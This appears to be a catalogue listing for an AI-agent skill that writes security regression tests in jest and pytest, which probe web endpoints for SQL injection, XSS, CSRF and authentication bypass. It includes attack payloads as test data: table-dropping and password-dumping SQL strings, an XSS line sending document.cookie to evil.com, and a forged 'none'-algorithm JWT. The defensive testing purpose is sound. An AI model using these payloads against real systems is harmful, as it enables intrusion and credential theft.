Install
$ agentstack add skill-kalshamsi-claude-security-skills-security-test-generator Open-source listing, not yet scanned by AgentStack. Follow the source repository for install instructions.
Security review
⚠ Flagged1 finding(s); flagged for manual review. · v0.1.0 How review works →
- • Prompt-injection patterns
- • Secret / credential exfiltration
- • Dangerous shell & filesystem operations
- • Untrusted network calls
- • Known-malicious package signatures
- high Destructive filesystem operation.
What it can access
- ● Network access Used
- ● Filesystem access Used
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
Security Test Generator
This skill generates executable security test suites targeting common web application vulnerabilities. Unlike scanning skills that report findings, this skill outputs runnable test code in jest+supertest (JavaScript/TypeScript) or pytest+requests (Python) that actively probes endpoints for SQL injection, XSS, CSRF, authentication bypass, path traversal, SSRF, and mass assignment vulnerabilities — mapping each test case to CWE and OWASP Top 10:2021 standards.
When to Use
- When the user asks to "generate security tests" or "create a security test suite"
- When the user wants "vulnerability tests", "pentest tests", or "security regression tests"
- When the user asks to "write tests for OWASP Top 10" or "test for SQL injection"
- When the user wants automated security tests for an Express, Fastify, Koa, Flask, Django, or FastAPI application
- When a pull request adds new API endpoints and the user wants security test coverage
- When the user asks to "test my API for security issues" or "generate exploit tests"
When NOT to Use
DO NOT activate if the request is not about producing runnable security test code, even if the word "security" appears. The presence of security keywords alone is not a trigger — the request must be about writing executable test cases that probe a web application or API for vulnerabilities.
- When the user wants a static analysis scan — Decline and recommend
bandit-sastorsecurity-review - When the user wants a cryptographic audit — Decline and recommend
crypto-audit - When the user is asking about security concepts without wanting test code generated — Decline and answer the conceptual question directly without generating test files
- When the project has no web endpoints or API routes to test — Decline and explain that this skill targets HTTP request/response flows
- When the user wants a CI/CD pipeline — you MUST decline and recommend
devsecops-pipeline - When the user wants a security scan or vulnerability report (not test code) — you MUST decline and recommend
bandit-sast,security-review, or the appropriate scanning skill
Prerequisites
Tool Installed (Preferred)
No external tool required. This skill generates test code using code analysis only.
All test generation is performed through code inspection and template synthesis — no CLI tool needs to be installed, configured, or invoked. The generated tests use standard testing frameworks (jest+supertest or pytest+requests) that the user installs in their own project.
Tool Not Installed (Fallback)
This skill is always available as a pure code-generation skill. There is no fallback mode because there is no external tool dependency. The skill analyzes code and produces runnable test files directly.
Framework Detection
Before generating tests, detect the project language and framework:
- JavaScript/TypeScript (jest + supertest)
- Detect:
package.jsonexists AND containsexpress,fastify,koa, orhapiin dependencies or devDependencies - Test runner: jest with supertest
- Output:
__tests__/security/.security.test.jsor.test.ts
- Python (pytest + requests)
- Detect:
setup.py,pyproject.toml, orrequirements.txtexists AND containsflask,django,fastapi, orstarlette - Test runner: pytest with requests
- Output:
tests/security/test__security.py
- Framework-agnostic (bash + curl)
- Detect: No recognized framework found
- Output:
tests/security/security_tests.sh— a bash script using curl with malicious payloads - Each test: send curl request, check HTTP status code, grep response for injected content
Test Anatomy
Every generated security test follows this structure:
- Descriptive test name — includes the vulnerability type and CWE ID (e.g.,
"should reject SQL injection in search parameter (CWE-89)") - Arrange — set up the malicious payload
- Act — send the request to the target endpoint with the payload
- Assert — verify the application rejects the payload:
- Response status code should be 400, 403, or 422 (NOT 200 or 302)
- Response body must NOT contain the injected content (no reflected script tags, no SQL error messages, no file contents)
- Comment — link to the relevant CWE and OWASP category
Jest + Supertest Template Structure
const request = require('supertest');
const app = require('../app'); // Adjust path to your Express app
describe('Security Tests - /api/users', () => {
afterAll(async () => {
// Close server/database connections if needed
});
describe('SQL Injection (CWE-89)', () => {
const payloads = [
"' OR '1'='1",
"'; DROP TABLE users; --",
"' UNION SELECT null, username, password FROM users --",
];
payloads.forEach((payload) => {
it(`should reject SQL injection payload: ${payload} (CWE-89)`, async () => {
// Arrange
const maliciousInput = payload;
// Act
const response = await request(app)
.get('/api/users')
.query({ search: maliciousInput });
// Assert — app must reject or sanitize, not return 200 with injected data
expect(response.status).not.toBe(200);
expect(response.text).not.toContain('DROP TABLE');
// CWE-89: Improper Neutralization of Special Elements in SQL
// OWASP A03:2021 - Injection
});
});
});
});
Pytest Template Structure
import pytest
import requests
BASE_URL = "http://localhost:5000" # Adjust to your Flask/FastAPI app
@pytest.mark.security
class TestSQLInjection:
"""SQL Injection tests — CWE-89, OWASP A03:2021"""
payloads = [
"' OR '1'='1",
"'; DROP TABLE users; --",
"' UNION SELECT null, username, password FROM users --",
]
@pytest.mark.parametrize("payload", payloads)
def test_search_rejects_sql_injection(self, payload):
"""CWE-89: SQL Injection in search parameter — OWASP A03:2021"""
# Arrange
params = {"q": payload}
# Act
response = requests.get(f"{BASE_URL}/api/search", params=params)
# Assert — app must reject or sanitize
assert response.status_code != 200, (
f"Endpoint returned 200 for SQL injection payload: {payload}"
)
assert "DROP TABLE" not in response.text
Vulnerability Checks
Check 1: SQL Injection (CWE-89)
CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) | A03:2021 - Injection | Severity: Critical
WHY: SQL injection allows attackers to read, modify, or delete arbitrary database data, bypass authentication, and in some cases execute operating system commands. It remains one of the most exploited vulnerability classes — a single unparameterized query can compromise an entire database.
DETECT: Scan for string concatenation or interpolation inside SQL query strings:
- JavaScript/TypeScript:
db.query("SELECT ... " + variable), template literals in query strings,.prepare()or.execute()with string interpolation - Python:
cursor.execute(f"SELECT ... {variable}"),cursor.execute("SELECT ... " + variable),cursor.execute("SELECT ... %s" % variable)
Malicious Payloads:
' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT null, username, password FROM users --
1; WAITFOR DELAY '0:0:5' --
' AND 1=CONVERT(int, (SELECT TOP 1 password FROM users)) --
Generated Test — Jest + Supertest:
describe('SQL Injection (CWE-89)', () => {
const sqlPayloads = [
"' OR '1'='1",
"'; DROP TABLE users; --",
"' UNION SELECT null, username, password FROM users --",
];
sqlPayloads.forEach((payload) => {
it(`should reject SQL injection in search: ${payload} (CWE-89)`, async () => {
const response = await request(app)
.get('/api/users')
.query({ search: payload });
expect(response.status).not.toBe(200);
expect(response.text).not.toMatch(/syntax error|SQL|mysql|sqlite/i);
// CWE-89 | OWASP A03:2021 - Injection
});
});
});
Generated Test — Pytest:
@pytest.mark.security
@pytest.mark.parametrize("payload", [
"' OR '1'='1",
"'; DROP TABLE users; --",
"' UNION SELECT null, username, password FROM users --",
])
def test_sql_injection_search(payload):
"""CWE-89: SQL Injection via search parameter — OWASP A03:2021"""
response = requests.get(f"{BASE_URL}/api/search", params={"q": payload})
assert response.status_code != 200, f"SQLi payload accepted: {payload}"
assert "syntax error" not in response.text.lower()
assert "sql" not in response.text.lower()
Check 2: Cross-Site Scripting — XSS (CWE-79)
CWE-79 (Improper Neutralization of Input During Web Page Generation) | A03:2021 - Injection | Severity: High
WHY: XSS allows attackers to inject client-side scripts into web pages viewed by other users, enabling session hijacking, credential theft, defacement, and phishing. Reflected XSS exploits occur when user input is echoed back in HTML responses without escaping.
DETECT: Scan for user input directly concatenated or interpolated into HTML response strings:
- JavaScript/TypeScript:
res.send("" + req.query.name), template literals with${req.body.field}in HTML strings,innerHTMLassignments - Python:
return f"{request.args.get('name')}",make_response()with unescaped input, Jinja2|safefilter on user input
Malicious Payloads:
alert(1)
">document.location='http://evil.com/steal?c='+document.cookie
javascript:alert(1)
Generated Test — Jest + Supertest:
describe('Cross-Site Scripting (CWE-79)', () => {
const xssPayloads = [
'alert(1)',
'',
'">document.location="http://evil.com"',
];
xssPayloads.forEach((payload) => {
it(`should reject XSS payload: ${payload} (CWE-79)`, async () => {
const response = await request(app)
.get('/api/profile')
.query({ name: payload });
expect(response.text).not.toContain('');
expect(response.text).not.toContain('onerror=');
// CWE-79 | OWASP A03:2021 - Injection
});
});
});
Generated Test — Pytest:
@pytest.mark.security
@pytest.mark.parametrize("payload", [
"alert(1)",
"",
'">document.location="http://evil.com"',
])
def test_xss_profile(payload):
"""CWE-79: Reflected XSS in profile endpoint — OWASP A03:2021"""
response = requests.get(f"{BASE_URL}/api/profile", params={"name": payload})
assert "" not in response.text
assert "onerror=" not in response.text
Check 3: Cross-Site Request Forgery — CSRF (CWE-352)
CWE-352 (Cross-Site Request Forgery) | A01:2021 - Broken Access Control | Severity: High
WHY: CSRF attacks trick authenticated users into submitting unintended requests. An attacker crafts a malicious page that automatically submits a form or XHR to the vulnerable application, inheriting the victim's session cookies. This can trigger fund transfers, password changes, or privilege escalation without the user's knowledge.
DETECT: Scan for state-changing endpoints (POST, PUT, DELETE) that do not check for a CSRF token:
- JavaScript/TypeScript:
app.post('/path', handler)where handler does not checkreq.headers['x-csrf-token']or use a CSRF middleware (e.g.,csurf) - Python:
@app.route('/path', methods=['POST'])without@csrf.exemptbeing intentional or without CSRF middleware (e.g.,flask_wtf.csrf)
Malicious Payloads:
POST request with no CSRF token header
POST request with empty X-CSRF-Token header
POST request with forged/invalid CSRF token
POST request from cross-origin (Origin: http://evil.com)
Generated Test — Jest + Supertest:
describe('CSRF Protection (CWE-352)', () => {
it('should reject POST without CSRF token (CWE-352)', async () => {
const response = await request(app)
.post('/api/transfer')
.send({ from: 'user1', to: 'attacker', amount: 1000 });
expect(response.status).not.toBe(200);
expect(response.status).not.toBe(302);
// CWE-352 | OWASP A01:2021 - Broken Access Control
});
it('should reject POST with invalid CSRF token (CWE-352)', async () => {
const response = await request(app)
.post('/api/transfer')
.set('X-CSRF-Token', 'invalid-token-value')
.send({ from: 'user1', to: 'attacker', amount: 1000 });
expect(response.status).not.toBe(200);
// CWE-352 | OWASP A01:2021 - Broken Access Control
});
it('should reject cross-origin POST (CWE-352)', async () => {
const response = await request(app)
.post('/api/transfer')
.set('Origin', 'http://evil.com')
.send({ from: 'user1', to: 'attacker', amount: 1000 });
expect(response.status).not.toBe(200);
// CWE-352 | OWASP A01:2021 - Broken Access Control
});
});
Generated Test — Pytest:
@pytest.mark.security
class TestCSRF:
"""CSRF protection tests — CWE-352, OWASP A01:2021"""
def test_post_without_csrf_token(self):
"""CWE-352: POST without CSRF token should be rejected"""
response = requests.post(
f"{BASE_URL}/api/transfer",
json={"from": "user1", "to": "attacker", "amount": 1000},
)
assert response.status_code != 200
assert response.status_code != 302
def test_post_with_invalid_csrf_token(self):
"""CWE-352: POST with invalid CSRF token should be rejected"""
response = requests.post(
f"{BASE_URL}/api/transfer",
json={"from": "user1", "to": "attacker", "amount": 1000},
headers={"X-CSRF-Token": "invalid-token-value"},
)
assert response.status_code != 200
def test_post_from_cross_origin(self):
"""CWE-352: Cross-origin POST should be rejected"""
response = requests.post(
f"{BASE_URL}/api/transfer",
json={"from": "user1", "to": "attacker", "amount": 1000},
headers={"Origin": "http://evil.com"},
)
assert response.status_code != 200
Check 4: Authentication Bypass (CWE-287)
CWE-287 (Improper Authentication) | A07:2021 - Identification and Authentication Failures | Severity: Critical
WHY: Endpoints that skip authentication middleware allow any unauthenticated user to access sensitive operations. Attackers discover these unprotected endpoints through forced browsing or API enumeration, gaining access to admin panels, configuration endpoints, or user data without credentials.
DETECT: Scan for route handlers on sensitive paths that lack authentication middleware:
- JavaScript/TypeScript:
app.post('/api/admin/*', handler)orapp.get('/api/users', handler)where handler is directly defined without an auth middleware parameter (e.g.,app.post('/admin/config', (req, res) => ...)vsapp.post('/admin/config', authMiddleware, (req, res) => ...)) - Python:
@app.route('/admin/*')without@login_requiredor session/token checks in the handler body
Malicious Payloads:
Request to admin endpoint with no Authorization header
Request with empty Bearer token
Request with malformed JWT: eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4ifQ.
Request to sensitive endpoint as unauthenticated user
Generated Test — Jest + Supertest:
describe('Authentication Bypass (CWE-287)', () => {
it('should require authentication on admin endpoints (CWE-287)', async () => {
const response = await request(app)
.post('/api/admin/config')
.send({ setting: 'debug', value: true });
expect(response.status).toBe(401);
// CWE-287 | OWASP A07:2021 - Identification and Authentication Failures
});
it('should reject empty Bearer token (CWE-287)', async () => {
const response = await request(app)
…
## Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- **Author:** [kalshamsi](https://github.com/kalshamsi)
- **Source:** [kalshamsi/claude-security-skills](https://github.com/kalshamsi/claude-security-skills)
- **License:** MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.